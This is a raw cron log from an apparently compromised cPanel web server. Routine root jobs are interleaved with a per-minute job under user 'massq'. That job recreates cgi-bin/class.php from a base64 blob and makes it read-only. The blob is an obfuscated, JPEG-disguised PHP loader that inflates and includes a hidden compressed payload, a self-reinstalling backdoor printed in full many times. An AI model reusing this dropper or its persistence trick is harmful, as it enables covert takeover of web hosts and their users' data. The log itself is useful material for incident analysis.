Sep  2 15:08:01 server CROND[6443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:09:01 server CROND[6820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:09:01 server CROND[6821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:09:01 server CROND[6823]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 15:09:01 server CROND[6822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:10:01 server CROND[7332]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 15:10:01 server CROND[7333]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:10:01 server CROND[7335]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 15:10:01 server CROND[7340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:10:01 server CROND[7342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:10:01 server CROND[7341]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 15:10:01 server CROND[7338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:10:01 server CROND[7343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:11:01 server CROND[8194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:11:01 server CROND[8195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:11:01 server CROND[8196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:12:01 server CROND[8588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:12:01 server CROND[8589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:12:01 server CROND[8590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:12:01 server CROND[8592]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 15:13:01 server CROND[8989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:13:01 server CROND[8991]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:13:01 server CROND[8992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:14:01 server CROND[9400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:14:01 server CROND[9402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:14:01 server CROND[9401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:15:01 server CROND[9989]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 15:15:01 server CROND[9990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:15:01 server CROND[9993]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:15:01 server CROND[10000]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 15:15:01 server CROND[10002]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 15:15:01 server CROND[9996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:15:01 server CROND[9997]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:15:01 server CROND[9995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:16:01 server CROND[10918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:16:01 server CROND[10917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:16:01 server CROND[10920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:17:01 server CROND[11407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:17:01 server CROND[11409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:17:01 server CROND[11410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:18:01 server CROND[11869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:18:01 server CROND[11868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:18:01 server CROND[11870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:19:02 server CROND[12264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:19:02 server CROND[12265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:19:02 server CROND[12268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:20:01 server CROND[12673]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 15:20:01 server CROND[12675]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 15:20:01 server CROND[12680]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:20:01 server CROND[12682]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
